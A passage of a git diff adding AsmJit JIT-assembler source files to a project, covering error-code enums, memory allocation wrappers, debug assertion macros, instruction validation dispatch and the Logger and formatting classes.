kErrorLabelNameTooLong, + //! Label must always be local if it's anonymous (without a name). + kErrorInvalidLabelName, + //! Parent id passed to `CodeHolder::newNamedLabelId()` was invalid. + kErrorInvalidParentLabel, + //! Parent id specified for a non-local (global) label. + kErrorNonLocalLabelCantHaveParent, + + //! Relocation index overflow. + kErrorRelocIndexOverflow, + //! Invalid relocation entry. + kErrorInvalidRelocEntry, + + //! Invalid instruction. + kErrorInvalidInstruction, + //! Invalid register type. + kErrorInvalidRegType, + //! Invalid register kind. + kErrorInvalidRegKind, + //! Invalid register's physical id. + kErrorInvalidPhysId, + //! Invalid register's virtual id. + kErrorInvalidVirtId, + //! Invalid prefix combination. + kErrorInvalidPrefixCombination, + //! Invalid LOCK prefix. + kErrorInvalidLockPrefix, + //! Invalid XACQUIRE prefix. + kErrorInvalidXAcquirePrefix, + //! Invalid XACQUIRE prefix. + kErrorInvalidXReleasePrefix, + //! Invalid REP prefix. + kErrorInvalidRepPrefix, + //! Invalid REX prefix. + kErrorInvalidRexPrefix, + //! Invalid mask register (not 'k'). + kErrorInvalidKMaskReg, + //! Invalid {k} use (not supported by the instruction). + kErrorInvalidKMaskUse, + //! Invalid {k}{z} use (not supported by the instruction). + kErrorInvalidKZeroUse, + //! Invalid broadcast - Currently only related to invalid use of AVX-512 {1tox}. + kErrorInvalidBroadcast, + //! Invalid 'embedded-rounding' {er} or 'suppress-all-exceptions' {sae} (AVX-512). + kErrorInvalidEROrSAE, + //! Invalid address used (not encodable). + kErrorInvalidAddress, + //! Invalid index register used in memory address (not encodable). + kErrorInvalidAddressIndex, + //! Invalid address scale (not encodable). + kErrorInvalidAddressScale, + //! Invalid use of 64-bit address. + kErrorInvalidAddress64Bit, + //! Invalid displacement (not encodable). + kErrorInvalidDisplacement, + //! Invalid segment (X86). + kErrorInvalidSegment, + + //! Invalid immediate (out of bounds on X86 and invalid pattern on ARM). + kErrorInvalidImmediate, + + //! Invalid operand size. + kErrorInvalidOperandSize, + //! Ambiguous operand size (memory has zero size while it's required to determine the operation type. + kErrorAmbiguousOperandSize, + //! Mismatching operand size (size of multiple operands doesn't match the operation size). + kErrorOperandSizeMismatch, + + //! Invalid TypeId. + kErrorInvalidTypeId, + //! Invalid use of a 8-bit GPB-HIGH register. + kErrorInvalidUseOfGpbHi, + //! Invalid use of a 64-bit GPQ register in 32-bit mode. + kErrorInvalidUseOfGpq, + //! Invalid use of an 80-bit float (TypeId::kF80). + kErrorInvalidUseOfF80, + //! Some registers in the instruction muse be consecutive (some ARM and AVX512 neural-net instructions). + kErrorNotConsecutiveRegs, + + //! AsmJit requires a physical register, but no one is available. + kErrorNoMorePhysRegs, + //! A variable has been assigned more than once to a function argument (CodeCompiler). + kErrorOverlappedRegs, + //! Invalid register to hold stack arguments offset. + kErrorOverlappingStackRegWithRegArg, + + //! Count of AsmJit error codes. + kErrorCount +}; + +// ============================================================================ +// [asmjit::Internal] +// ============================================================================ + +namespace Internal { + +#if defined(ASMJIT_CUSTOM_ALLOC) && \ + defined(ASMJIT_CUSTOM_REALLOC) && \ + defined(ASMJIT_CUSTOM_FREE) +static ASMJIT_INLINE void* allocMemory(size_t size) noexcept { return ASMJIT_CUSTOM_ALLOC(size); } +static ASMJIT_INLINE void* reallocMemory(void* p, size_t size) noexcept { return ASMJIT_CUSTOM_REALLOC(p, size); } +static ASMJIT_INLINE void releaseMemory(void* p) noexcept { ASMJIT_CUSTOM_FREE(p); } +#elif !defined(ASMJIT_CUSTOM_ALLOC) && \ + !defined(ASMJIT_CUSTOM_REALLOC) && \ + !defined(ASMJIT_CUSTOM_FREE) +static ASMJIT_INLINE void* allocMemory(size_t size) noexcept { return ::malloc(size); } +static ASMJIT_INLINE void* reallocMemory(void* p, size_t size) noexcept { return ::realloc(p, size); } +static ASMJIT_INLINE void releaseMemory(void* p) noexcept { ::free(p); } +#else +# error "[asmjit] You must provide either none or all of ASMJIT_CUSTOM_[ALLOC|REALLOC|FREE]" +#endif + +//! Cast designed to cast between function and void* pointers. +template +static ASMJIT_INLINE Dst ptr_cast(Src p) noexcept { return (Dst)p; } + +} // Internal namespace + +template +static ASMJIT_INLINE Func ptr_as_func(void* func) noexcept { return Internal::ptr_cast(func); } + +template +static ASMJIT_INLINE void* func_as_ptr(Func func) noexcept { return Internal::ptr_cast(func); } + +// ============================================================================ +// [asmjit::DebugUtils] +// ============================================================================ + +namespace DebugUtils { + +//! Returns the error `err` passed. +//! +//! Provided for debugging purposes. Putting a breakpoint inside `errored` can +//! help with tracing the origin of any error reported / returned by AsmJit. +static ASMJIT_INLINE Error errored(Error err) noexcept { return err; } + +//! Get a printable version of `asmjit::Error` code. +ASMJIT_API const char* errorAsString(Error err) noexcept; + +//! Called to output debugging message(s). +ASMJIT_API void debugOutput(const char* str) noexcept; + +//! Called on assertion failure. +//! +//! \param file Source file name where it happened. +//! \param line Line in the source file. +//! \param msg Message to display. +//! +//! If you have problems with assertions put a breakpoint at assertionFailed() +//! function (asmjit/base/globals.cpp) and check the call stack to locate the +//! failing code. +ASMJIT_API void ASMJIT_NORETURN assertionFailed(const char* file, int line, const char* msg) noexcept; + +#if defined(ASMJIT_DEBUG) +# define ASMJIT_ASSERT(exp) \ + do { \ + if (ASMJIT_LIKELY(exp)) \ + break; \ + ::asmjit::DebugUtils::assertionFailed(__FILE__, __LINE__, #exp); \ + } while (0) +# define ASMJIT_NOT_REACHED() \ + do { \ + ::asmjit::DebugUtils::assertionFailed(__FILE__, __LINE__, \ + "ASMJIT_NOT_REACHED has been reached"); \ + ASMJIT_ASSUME(0); \ + } while (0) +#else +# define ASMJIT_ASSERT(exp) ASMJIT_NOP +# define ASMJIT_NOT_REACHED() ASMJIT_ASSUME(0) +#endif // DEBUG + +//! \internal +//! +//! Used by AsmJit to propagate a possible `Error` produced by `...` to the caller. +#define ASMJIT_PROPAGATE(...) \ + do { \ + ::asmjit::Error _err = __VA_ARGS__; \ + if (ASMJIT_UNLIKELY(_err)) \ + return _err; \ + } while (0) + +} // DebugUtils namespace + +// ============================================================================ +// [asmjit::Init / NoInit] +// ============================================================================ + +#if !defined(ASMJIT_DOCGEN) +struct _Init {}; +static const _Init Init = {}; + +struct _NoInit {}; +static const _NoInit NoInit = {}; +#endif // !ASMJIT_DOCGEN + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_GLOBALS_H diff --git a/asmjit/src/asmjit/base/inst.cpp b/asmjit/src/asmjit/base/inst.cpp new file mode 100644 index 0000000..cc5ff39 --- /dev/null +++ b/asmjit/src/asmjit/base/inst.cpp @@ -0,0 +1,77 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Guard] +#include "../asmjit_build.h" +#if defined(ASMJIT_BUILD_X86) + +// [Dependencies] +#include "../base/arch.h" +#include "../base/inst.h" + +#if defined(ASMJIT_BUILD_X86) +# include "../x86/x86instimpl_p.h" +#endif // ASMJIT_BUILD_X86 + +#if defined(ASMJIT_BUILD_ARM) +# include "../arm/arminstimpl_p.h" +#endif // ASMJIT_BUILD_ARM + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [asmjit::Inst - Validate] +// ============================================================================ + +#if !defined(ASMJIT_DISABLE_VALIDATION) +Error Inst::validate(uint32_t archType, const Detail& detail, const Operand_* operands, uint32_t count) noexcept { + #if defined(ASMJIT_BUILD_X86) + if (ArchInfo::isX86Family(archType)) + return X86InstImpl::validate(archType, detail, operands, count); + #endif + + #if defined(ASMJIT_BUILD_ARM) + if (ArchInfo::isArmFamily(archType)) + return ArmInstImpl::validate(archType, detail, operands, count); + #endif + + return DebugUtils::errored(kErrorInvalidArch); +} +#endif + +// ============================================================================ +// [asmjit::Inst - CheckFeatures] +// ============================================================================ + +#if !defined(ASMJIT_DISABLE_EXTENSIONS) +Error Inst::checkFeatures(uint32_t archType, const Detail& detail, const Operand_* operands, uint32_t count, CpuFeatures& out) noexcept { + #if defined(ASMJIT_BUILD_X86) + if (ArchInfo::isX86Family(archType)) + return X86InstImpl::checkFeatures(archType, detail, operands, count, out); + #endif + + #if defined(ASMJIT_BUILD_ARM) + if (ArchInfo::isArmFamily(archType)) + return ArmInstImpl::checkFeatures(archType, detail, operands, count, out); + #endif + + return DebugUtils::errored(kErrorInvalidArch); +} +#endif // !defined(ASMJIT_DISABLE_EXTENSIONS) + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // ASMJIT_BUILD_X86 diff --git a/asmjit/src/asmjit/base/inst.h b/asmjit/src/asmjit/base/inst.h new file mode 100644 index 0000000..7bb210a --- /dev/null +++ b/asmjit/src/asmjit/base/inst.h @@ -0,0 +1,108 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_INST_H +#define _ASMJIT_BASE_INST_H + +// [Dependencies] +#include "../base/cpuinfo.h" +#include "../base/operand.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::Inst] +// ============================================================================ + +//! Definitions and utilities related to instructions used by all architectures. +struct Inst { + ASMJIT_ENUM(Id) { + kIdNone = 0 //!< Invalid or uninitialized instruction id. + }; + + //! Describes an instruction's jump type, if any. + ASMJIT_ENUM(JumpType) { + kJumpTypeNone = 0, //!< Instruction doesn't jump (regular instruction). + kJumpTypeDirect = 1, //!< Instruction is a unconditional (direct) jump. + kJumpTypeConditional = 2, //!< Instruction is a conditional jump. + kJumpTypeCall = 3, //!< Instruction is a function call. + kJumpTypeReturn = 4 //!< Instruction is a function return. + }; + + // -------------------------------------------------------------------------- + // [Detail] + // -------------------------------------------------------------------------- + + //! Instruction id, options, and extraReg packed in a single structure. This + //! structure exists to simplify analysis and validation API that requires a + //! lot of information about the instruction to be processed. + class Detail { + public: + ASMJIT_INLINE Detail() noexcept + : instId(0), + options(0), + extraReg() {} + + explicit ASMJIT_INLINE Detail(uint32_t instId, uint32_t options = 0) noexcept + : instId(instId), + options(options), + extraReg() {} + + ASMJIT_INLINE Detail(uint32_t instId, uint32_t options, const RegOnly& reg) noexcept + : instId(instId), + options(options), + extraReg(reg) {} + + ASMJIT_INLINE Detail(uint32_t instId, uint32_t options, const Reg& reg) noexcept + : instId(instId), + options(options) { extraReg.init(reg); } + + // ------------------------------------------------------------------------ + // [Accessors] + // ------------------------------------------------------------------------ + + ASMJIT_INLINE bool hasExtraReg() const noexcept { return extraReg.isValid(); } + + // ------------------------------------------------------------------------ + // [Members] + // ------------------------------------------------------------------------ + + uint32_t instId; + uint32_t options; + RegOnly extraReg; + }; + + // -------------------------------------------------------------------------- + // [API] + // -------------------------------------------------------------------------- + +#if !defined(ASMJIT_DISABLE_VALIDATION) + //! Validate the given instruction. + ASMJIT_API static Error validate(uint32_t archType, const Detail& detail, const Operand_* operands, uint32_t count) noexcept; +#endif // !ASMJIT_DISABLE_VALIDATION + +#if !defined(ASMJIT_DISABLE_EXTENSIONS) + //! Check CPU features required to execute the given instruction. + ASMJIT_API static Error checkFeatures(uint32_t archType, const Detail& detail, const Operand_* operands, uint32_t count, CpuFeatures& out) noexcept; +#endif // !defined(ASMJIT_DISABLE_EXTENSIONS) +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_INST_H diff --git a/asmjit/src/asmjit/base/logging.cpp b/asmjit/src/asmjit/base/logging.cpp new file mode 100644 index 0000000..efb4475 --- /dev/null +++ b/asmjit/src/asmjit/base/logging.cpp @@ -0,0 +1,497 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Guard] +#include "../asmjit_build.h" +#if !defined(ASMJIT_DISABLE_LOGGING) + +// [Dependencies] +#include "../base/codeholder.h" +#include "../base/codeemitter.h" +#include "../base/logging.h" +#include "../base/utils.h" + +#if !defined(ASMJIT_DISABLE_BUILDER) +# include "../base/codebuilder.h" +#endif // !ASMJIT_DISABLE_BUILDER + +#if !defined(ASMJIT_DISABLE_COMPILER) +# include "../base/codecompiler.h" +#else +namespace asmjit { class VirtReg; } +#endif // !ASMJIT_DISABLE_COMPILER + +#if defined(ASMJIT_BUILD_X86) +# include "../x86/x86logging_p.h" +#endif // ASMJIT_BUILD_X86 + +#if defined(ASMJIT_BUILD_ARM) +# include "../arm/armlogging_p.h" +#endif // ASMJIT_BUILD_ARM + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [asmjit::Logger - Construction / Destruction] +// ============================================================================ + +Logger::Logger() noexcept { + _options = 0; + ::memset(_indentation, 0, ASMJIT_ARRAY_SIZE(_indentation)); +} +Logger::~Logger() noexcept {} + +// ============================================================================ +// [asmjit::Logger - Logging] +// ============================================================================ + +Error Logger::logf(const char* fmt, ...) noexcept { + Error err; + + va_list ap; + va_start(ap, fmt); + err = logv(fmt, ap); + va_end(ap); + + return err; +} + +Error Logger::logv(const char* fmt, va_list ap) noexcept { + char buf[1024]; + size_t len = vsnprintf(buf, sizeof(buf), fmt, ap); + + if (len >= sizeof(buf)) + len = sizeof(buf) - 1; + return log(buf, len); +} + +Error Logger::logBinary(const void* data, size_t size) noexcept { + static const char prefix[] = ".data "; + static const char hex[16] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' }; + + const uint8_t* s = static_cast(data); + size_t i = size; + + char buffer[128]; + ::memcpy(buffer, prefix, ASMJIT_ARRAY_SIZE(prefix) - 1); + + while (i) { + uint32_t n = static_cast(std::min(i, 16)); + char* p = buffer + ASMJIT_ARRAY_SIZE(prefix) - 1; + + i -= n; + do { + uint32_t c = s[0]; + + p[0] = hex[c >> 4]; + p[1] = hex[c & 15]; + + p += 2; + s += 1; + } while (--n); + + *p++ = '\n'; + ASMJIT_PROPAGATE(log(buffer, (size_t)(p - buffer))); + } + + return kErrorOk; +} + +// ============================================================================ +// [asmjit::Logger - Indentation] +// ============================================================================ + +void Logger::setIndentation(const char* indentation) noexcept { + ::memset(_indentation, 0, ASMJIT_ARRAY_SIZE(_indentation)); + if (!indentation) + return; + + size_t length = Utils::strLen(indentation, ASMJIT_ARRAY_SIZE(_indentation) - 1); + ::memcpy(_indentation, indentation, length); +} + +// ============================================================================ +// [asmjit::FileLogger - Construction / Destruction] +// ============================================================================ + +FileLogger::FileLogger(FILE* stream) noexcept : _stream(nullptr) { setStream(stream); } +FileLogger::~FileLogger() noexcept {} + +// ============================================================================ +// [asmjit::FileLogger - Logging] +// ============================================================================ + +Error FileLogger::_log(const char* buf, size_t len) noexcept { + if (!_stream) + return kErrorOk; + + if (len == Globals::kInvalidIndex) + len = strlen(buf); + + fwrite(buf, 1, len, _stream); + return kErrorOk; +} + +// ============================================================================ +// [asmjit::StringLogger - Construction / Destruction] +// ============================================================================ + +StringLogger::StringLogger() noexcept {} +StringLogger::~StringLogger() noexcept {} + +// ============================================================================ +// [asmjit::StringLogger - Logging] +// ============================================================================ + +Error StringLogger::_log(const char* buf, size_t len) noexcept { + return _stringBuilder.appendString(buf, len); +} + +// ============================================================================ +// [asmjit::Logging] +// ============================================================================ + +Error Logging::formatLabel( + StringBuilder& sb, + uint32_t logOptions, + const CodeEmitter* emitter, + uint32_t labelId) noexcept { + + const LabelEntry* le = emitter->getCode()->getLabelEntry(labelId); + if (ASMJIT_UNLIKELY(!le)) + return sb.appendFormat("InvalidLabel[Id=%u]", static_cast(labelId)); + + if (le->hasName()) { + if (le->hasParent()) { + uint32_t parentId = le->getParentId(); + const LabelEntry* pe = emitter->getCode()->getLabelEntry(parentId); + + if (ASMJIT_UNLIKELY(!pe)) + ASMJIT_PROPAGATE(sb.appendFormat("InvalidLabel[Id=%u]", static_cast(labelId))); + else if (ASMJIT_UNLIKELY(!pe->hasName())) + ASMJIT_PROPAGATE(sb.appendFormat("L%u", Operand::unpackId(parentId))); + else + ASMJIT_PROPAGATE(sb.appendString(pe->getName())); + + ASMJIT_PROPAGATE(sb.appendChar('.')); + } + return sb.appendString(le->getName()); + } + else { + return sb.appendFormat("L%u", Operand::unpackId(labelId)); + } +} + +Error Logging::formatRegister( + StringBuilder& sb, + uint32_t logOptions, + const CodeEmitter* emitter, + uint32_t archType, + uint32_t regType, + uint32_t regId) noexcept { + +#if defined(ASMJIT_BUILD_X86) + return X86Logging::formatRegister(sb, logOptions, emitter, archType, regType, regId); +#endif // ASMJIT_BUILD_X86 + +#if defined(ASMJIT_BUILD_ARM) + return ArmLogging::formatRegister(sb, logOptions, emitter, archType, regType, regId); +#endif // ASMJIT_BUILD_ARM + + return kErrorInvalidArch; +} + +Error Logging::formatOperand( + StringBuilder& sb, + uint32_t logOptions, + const CodeEmitter* emitter, + uint32_t archType, + const Operand_& op) noexcept { + +#if defined(ASMJIT_BUILD_X86) + return X86Logging::formatOperand(sb, logOptions, emitter, archType, op); +#endif // ASMJIT_BUILD_X86 + +#if defined(ASMJIT_BUILD_ARM) + return ArmLogging::formatOperand(sb, logOptions, emitter, archType, op); +#endif // ASMJIT_BUILD_ARM + + return kErrorInvalidArch; +} + +Error Logging::formatInstruction( + StringBuilder& sb, + uint32_t logOptions, + const CodeEmitter* emitter, + uint32_t archType, + const Inst::Detail& detail, const Operand_* opArray, uint32_t opCount) noexcept { + +#if defined(ASMJIT_BUILD_X86) + return X86Logging::formatInstruction(sb, logOptions, emitter, archType, detail, opArray, opCount); +#endif // ASMJIT_BUILD_X86 + +#if defined(ASMJIT_BUILD_ARM) + return ArmLogging::formatInstruction(sb, logOptions, emitter, archType, detail, opArray, opCount); +#endif // ASMJIT_BUILD_ARM + + return kErrorInvalidArch; +} + +#if !defined(ASMJIT_DISABLE_BUILDER) +static Error formatTypeId(StringBuilder& sb, uint32_t typeId) noexcept { + if (typeId == TypeId::kVoid) + return sb.appendString("void"); + + if (!TypeId::isValid(typeId)) + return sb.appendString("unknown"); + + const char* typeName = "unknown"; + uint32_t typeSize = TypeId::sizeOf(typeId); + + uint32_t elementId = TypeId::elementOf(typeId); + switch (elementId) { + case TypeId::kIntPtr : typeName = "intptr" ; break; + case TypeId::kUIntPtr: typeName = "uintptr"; break; + case TypeId::kI8 : typeName = "i8" ; break; + case TypeId::kU8 : typeName = "u8" ; break; + case TypeId::kI16 : typeName = "i16" ; break; + case TypeId::kU16 : typeName = "u16" ; break; + case TypeId::kI32 : typeName = "i32" ; break; + case TypeId::kU32 : typeName = "u32" ; break; + case TypeId::kI64 : typeName = "i64" ; break; + case TypeId::kU64 : typeName = "u64" ; break; + case TypeId::kF32 : typeName = "f32" ; break; + case TypeId::kF64 : typeName = "f64" ; break; + case TypeId::kF80 : typeName = "f80" ; break; + case TypeId::kMask8 : typeName = "mask8" ; break; + case TypeId::kMask16 : typeName = "mask16" ; break; + case TypeId::kMask32 : typeName = "mask32" ; break; + case TypeId::kMask64 : typeName = "mask64" ; break; + case TypeId::kMmx32 : typeName = "mmx32" ; break; + case TypeId::kMmx64 : typeName = "mmx64" ; break; + } + + uint32_t elementSize = TypeId::sizeOf(elementId); + if (typeSize > elementSize) { + unsigned int numElements = typeSize / elementSize; + return sb.appendFormat("%sx%u", typeName, numElements); + } + else { + return sb.appendString(typeName); + } +} + +static Error formatFuncDetailValue( + StringBuilder& sb, + uint32_t logOptions, + const CodeEmitter* emitter, + FuncDetail::Value value) noexcept { + + uint32_t typeId = value.getTypeId(); + ASMJIT_PROPAGATE(formatTypeId(sb, typeId)); + + if (value.byReg()) { + ASMJIT_PROPAGATE(sb.appendChar(':')); + ASMJIT_PROPAGATE(Logging::formatRegister(sb, logOptions, emitter, emitter->getArchType(), value.getRegType(), value.getRegId())); + } + + if (value.byStack()) { + ASMJIT_PROPAGATE(sb.appendFormat(":[%d]", static_cast(value.getStackOffset()))); + } + + return kErrorOk; +} + +static Error formatFuncRets( + StringBuilder& sb, + uint32_t logOptions, + const CodeEmitter* emitter, + const FuncDetail& fd, + VirtReg* const* vRegs) noexcept { + + if (!fd.hasRet()) + return sb.appendString("void"); + + for (uint32_t i = 0; i < fd.getRetCount(); i++) { + if (i) ASMJIT_PROPAGATE(sb.appendString(", ")); + ASMJIT_PROPAGATE(formatFuncDetailValue(sb, logOptions, emitter, fd.getRet(i))); + +#if !defined(ASMJIT_DISABLE_COMPILER) + if (vRegs) + ASMJIT_PROPAGATE(sb.appendFormat(" {%s}", vRegs[i]->getName())); +#endif // !ASMJIT_DISABLE_COMPILER + } + + return kErrorOk; +} + +static Error formatFuncArgs( + StringBuilder& sb, + uint32_t logOptions, + const CodeEmitter* emitter, + const FuncDetail& fd, + VirtReg* const* vRegs) noexcept { + + for (uint32_t i = 0; i < fd.getArgCount(); i++) { + if (i) ASMJIT_PROPAGATE(sb.appendString(", ")); + ASMJIT_PROPAGATE(formatFuncDetailValue(sb, logOptions, emitter, fd.getArg(i))); + +#if !defined(ASMJIT_DISABLE_COMPILER) + if (vRegs) + ASMJIT_PROPAGATE(sb.appendFormat(" {%s}", vRegs[i]->getName())); +#endif // !ASMJIT_DISABLE_COMPILER + } + + return kErrorOk; +} + +Error Logging::formatNode( + StringBuilder& sb, + uint32_t logOptions, + const CodeBuilder* cb, + const CBNode* node_) noexcept { + + if (node_->hasPosition()) + ASMJIT_PROPAGATE(sb.appendFormat("<%04u> ", node_->getPosition())); + + switch (node_->getType()) { + case CBNode::kNodeInst: { + const CBInst* node = node_->as(); + ASMJIT_PROPAGATE( + Logging::formatInstruction(sb, logOptions, cb, + cb->getArchType(), + node->getInstDetail(), node->getOpArray(), node->getOpCount())); + break; + } + + case CBNode::kNodeLabel: { + const CBLabel* node = node_->as(); + ASMJIT_PROPAGATE(sb.appendFormat("L%u:", Operand::unpackId(node->getId()))); + break; + } + + case CBNode::kNodeData: { + const CBData* node = node_->as(); + ASMJIT_PROPAGATE(sb.appendFormat(".embed (%u bytes)", node->getSize())); + break; + } + + case CBNode::kNodeAlign: { + const CBAlign* node = node_->as(); + ASMJIT_PROPAGATE( + sb.appendFormat(".align %u (%s)", + node->getAlignment(), + node->getMode() == kAlignCode ? "code" : "data")); + break; + } + + case CBNode::kNodeComment: { + const CBComment* node = node_->as(); + ASMJIT_PROPAGATE(sb.appendFormat("; %s", node->getInlineComment())); + break; + } + + case CBNode::kNodeSentinel: { + ASMJIT_PROPAGATE(sb.appendString("[sentinel]")); + break; + } + +#if !defined(ASMJIT_DISABLE_COMPILER) + case CBNode::kNodeFunc: { + const CCFunc* node = node_->as(); + ASMJIT_PROPAGATE(formatLabel(sb, logOptions, cb, node->getId())); + + ASMJIT_PROPAGATE(sb.appendString(": [")); + ASMJIT_PROPAGATE(formatFuncRets(sb, logOptions, cb, node->getDetail(), nullptr)); + ASMJIT_PROPAGATE(sb.appendString("]")); + + ASMJIT_PROPAGATE(sb.appendString("(")); + ASMJIT_PROPAGATE(formatFuncArgs(sb, logOptions, cb, node->getDetail(), node->getArgs())); + ASMJIT_PROPAGATE(sb.appendString(")")); + break; + } + + case CBNode::kNodeFuncExit: { + ASMJIT_PROPAGATE(sb.appendString("[ret]")); + break; + } + + case CBNode::kNodeFuncCall: { + const CCFuncCall* node = node_->as(); + ASMJIT_PROPAGATE( + Logging::formatInstruction(sb, logOptions, cb, + cb->getArchType(), + node->getInstDetail(), node->getOpArray(), node->getOpCount())); + break; + } +#endif // !ASMJIT_DISABLE_COMPILER + + default: { + ASMJIT_PROPAGATE(sb.appendFormat("[unknown (type=%u)]", node_->getType())); + break; + } + } + + return kErrorOk; +} +#endif // !ASMJIT_DISABLE_BUILDER + +Error Logging::formatLine(StringBuilder& sb, const uint8_t* binData, size_t binLen, size_t dispLen, size_t imLen, const char* comment) noexcept { + size_t currentLen = sb.getLength(); + size_t commentLen = comment ? Utils::strLen(comment, kMaxCommentLength) : 0; + + ASMJIT_ASSERT(binLen >= dispLen); + + if ((binLen != 0 && binLen != Globals::kInvalidIndex) || commentLen) { + size_t align = kMaxInstLength; + char sep = ';'; + + for (size_t i = (binLen == Globals::kInvalidIndex); i < 2; i++) { + size_t begin = sb.getLength(); + + // Append align. + if (currentLen < align) + ASMJIT_PROPAGATE(sb.appendChars(' ', align - currentLen)); + + // Append separator. + if (sep) { + ASMJIT_PROPAGATE(sb.appendChar(sep)); + ASMJIT_PROPAGATE(sb.appendChar(' ')); + } + + // Append binary data or comment. + if (i == 0) { + ASMJIT_PROPAGATE(sb.appendHex(binData, binLen - dispLen - imLen)); + ASMJIT_PROPAGATE(sb.appendChars('.', dispLen * 2)); + ASMJIT_PROPAGATE(sb.appendHex(binData + binLen - imLen, imLen)); + if (commentLen == 0) break; + } + else { + ASMJIT_PROPAGATE(sb.appendString(comment, commentLen)); + } + + currentLen += sb.getLength() - begin; + align += kMaxBinaryLength; + sep = '|'; + } + } + + return sb.appendChar('\n'); +} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // !ASMJIT_DISABLE_LOGGING diff --git a/asmjit/src/asmjit/base/logging.h b/asmjit/src/asmjit/base/logging.h new file mode 100644 index 0000000..609f188 --- /dev/null +++ b/asmjit/src/asmjit/base/logging.h @@ -0,0 +1,288 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_LOGGING_H +#define _ASMJIT_BASE_LOGGING_H + +// [Dependencies] +#include "../base/inst.h" +#include "../base/string.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +#if !defined(ASMJIT_DISABLE_LOGGING) + +// ============================================================================ +// [Forward Declarations] +// ============================================================================ + +class CodeEmitter; +class Reg; +struct Operand_; + +#if !defined(ASMJIT_DISABLE_BUILDER) +class CodeBuilder; +class CBNode; +#endif // !ASMJIT_DISABLE_BUILDER + +// ============================================================================ +// [asmjit::Logger] +// ============================================================================ + +//! Abstract logging interface and helpers. +//! +//! This class can be inherited and reimplemented to fit into your logging +//! subsystem. When reimplementing use `Logger::_log()` method to log into +//! a custom stream. +//! +//! There are two \ref Logger implementations offered by AsmJit: +//! - \ref FileLogger - allows to log into a `FILE*` stream. +//! - \ref StringLogger - logs into a \ref StringBuilder. +class ASMJIT_VIRTAPI Logger { +public: + ASMJIT_NONCOPYABLE(Logger) + + // -------------------------------------------------------------------------- + // [Options] + // -------------------------------------------------------------------------- + + //! Logger options. + ASMJIT_ENUM(Options) { + kOptionBinaryForm = 0x00000001, //! Output instructions also in binary form. + kOptionImmExtended = 0x00000002, //! Output a meaning of some immediates. + kOptionHexImmediate = 0x00000004, //! Output constants in hexadecimal form. + kOptionHexDisplacement = 0x00000008 //! Output displacements in hexadecimal form. + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a `Logger` instance. + ASMJIT_API Logger() noexcept; + //! Destroy the `Logger` instance. + ASMJIT_API virtual ~Logger() noexcept; + + // -------------------------------------------------------------------------- + // [Logging] + // -------------------------------------------------------------------------- + + //! Log `str` - must be reimplemented. + virtual Error _log(const char* str, size_t len) noexcept = 0; + + //! Log a string `str`, which is either null terminated or having `len` length. + ASMJIT_INLINE Error log(const char* str, size_t len = Globals::kInvalidIndex) noexcept { return _log(str, len); } + //! Log a content of a `StringBuilder` `str`. + ASMJIT_INLINE Error log(const StringBuilder& str) noexcept { return _log(str.getData(), str.getLength()); } + + //! Format the message by using `sprintf()` and then send to `log()`. + ASMJIT_API Error logf(const char* fmt, ...) noexcept; + //! Format the message by using `vsprintf()` and then send to `log()`. + ASMJIT_API Error logv(const char* fmt, va_list ap) noexcept; + //! Log binary data. + ASMJIT_API Error logBinary(const void* data, size_t size) noexcept; + + // -------------------------------------------------------------------------- + // [Options] + // -------------------------------------------------------------------------- + + //! Get all logger options as a single integer. + ASMJIT_INLINE uint32_t getOptions() const noexcept { return _options; } + //! Get the given logger option. + ASMJIT_INLINE bool hasOption(uint32_t option) const noexcept { return (_options & option) != 0; } + ASMJIT_INLINE void addOptions(uint32_t options) noexcept { _options |= options; } + ASMJIT_INLINE void clearOptions(uint32_t options) noexcept { _options &= ~options; } + + // -------------------------------------------------------------------------- + // [Indentation] + // -------------------------------------------------------------------------- + + //! Get indentation. + ASMJIT_INLINE const char* getIndentation() const noexcept { return _indentation; } + //! Set indentation. + ASMJIT_API void setIndentation(const char* indentation) noexcept; + //! Reset indentation. + ASMJIT_INLINE void resetIndentation() noexcept { setIndentation(nullptr); } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + //! Options, see \ref LoggerOption. + uint32_t _options; + + //! Indentation. + char _indentation[12]; +}; + +// ============================================================================ +// [asmjit::FileLogger] +// ============================================================================ + +//! Logger that can log to a `FILE*` stream. +class ASMJIT_VIRTAPI FileLogger : public Logger { +public: + ASMJIT_NONCOPYABLE(FileLogger) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new `FileLogger` that logs to a `FILE` stream. + ASMJIT_API FileLogger(FILE* stream = nullptr) noexcept; + //! Destroy the `FileLogger`. + ASMJIT_API virtual ~FileLogger() noexcept; + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get the logging out put stream or null. + ASMJIT_INLINE FILE* getStream() const 